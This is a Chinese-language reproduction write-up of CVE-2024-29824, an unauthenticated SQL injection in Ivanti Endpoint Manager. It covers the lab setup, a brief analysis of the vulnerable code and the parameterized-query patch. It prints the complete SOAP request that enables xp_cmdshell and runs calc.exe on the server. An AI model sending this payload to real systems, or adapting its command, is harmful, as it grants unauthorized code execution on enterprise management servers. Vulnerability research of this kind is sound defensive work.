Ivanti Endpoint Manager (EPM) 是一款由 Ivanti 公司开发的综合性端点管理解决方案。它旨在帮助企业有效管理和保护其网络中的所有端点设备,包括桌面、笔记本电脑、服务器、移动设备和虚拟环境。
漏洞编号:CVE-2024-29824
攻击者可以利用该漏洞进行未授权的 SQL 注入并可以执行系统任意代码。官方的公告中提出的是:
An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.
Ivanti EPM 2022 SU5 及更早版本的核心服务器中存在未指定的 SQL 注入漏洞,允许同一网络内未经身份验证的攻击者执行任意代码。(此设备内网环境中使用偏多)
version <= Ivanti EPM 2022 SU5
下载安装包,需要注意的是:Ivanti Endpoint Manager 需要安装 Windows Server 下
然后一直点下一步就好了,安装过程大概需要 30 分钟左右,由于并没有许可,所以我们选择试用。
激活之后访问 https://IP 即可,这里访问首页会得到如下错误
这个错误并不影响我们漏洞复现,因此可以不纠结这个错误
使用 BP 发送请求
使用 Process Hacker 查看进程,可以到 calc.exe 已经在后台运行,执行命令成功。
完整数据包:
POST /WSStatusEvents/EventHandler.asmx HTTP/1.1
Host: host
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/soap+xml
Content-Length: 720
<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'calc.exe'--</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
具体的分析可以看 horizon3
JetBrains dotPeek
搜索函数可以使用Navigate
->Go to Symbol...
进行搜索。
在 2022 SU5 中 RecordGoodApp
函数内容如下:
在这段代码中开发直接将用户输入与 SQL 语句通过字符串拼接在一起,最终导致了 SQL 注入并可以执行系统命令。而在补丁中
开发者将 SQL 查询改为了参数化查询,将用户的输入作为参数传递进去,有效防止了 SQL 注入
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!